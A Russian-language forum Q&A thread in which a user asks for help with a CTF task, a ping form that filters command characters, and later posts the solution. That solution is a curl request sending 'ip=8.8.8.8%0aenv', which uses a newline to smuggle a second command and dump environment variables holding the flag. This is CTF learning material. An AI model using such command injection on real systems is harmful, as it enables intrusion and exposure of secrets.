Решение
ВОПРОС · Q&A
CTF // Не могу найти решение
Codeby Academy
Практика и мастерство
От основ до продвинутого — программы для практиков Codeby.
К курсу →
Автор вопроса
Всем привет! Решал CTF тесты, столкнулся с тем, который никак не могу закрыть
При вводе в форму на сайте ip адреса выводит результат его пинга. Если попытаться вводить в эту форму команды, то блокирует фильтрацией, что бы не пробовал. Фильтр не блокирует символы: !@#%^*_+=[]{}':",./<>?\~
Но всё равно не могу понять, что вводить и как действовать дальше, так же в HEX коде гифки на сайте нашёл строку NETSCAPE2.0
Прошу помочь с решением
При вводе в форму на сайте ip адреса выводит результат его пинга. Если попытаться вводить в эту форму команды, то блокирует фильтрацией, что бы не пробовал. Фильтр не блокирует символы: !@#%^*_+=[]{}':",./<>?\~
Но всё равно не могу понять, что вводить и как действовать дальше, так же в HEX коде гифки на сайте нашёл строку NETSCAPE2.0
Прошу помочь с решением
Привет, не могу сейчас вам посмотреть, но попробуй использовать эту ссылку для обхода blacklist фильтра Bypass Bash Restrictions | HackTricks - Boitatech
Решение
Ладно, справедливо)А это уже вам надо разобраться
Вернусь сюда, когда найду решение, спасибо!!
curl -X POST 'http://ib-sec.pro:8015/' -d "ip=8.8.8.8%0aenv"
И в переменных окружения будет сам флаг
Ещё раз спасибо за подсказку!
И в переменных окружения будет сам флаг
Ещё раз спасибо за подсказку!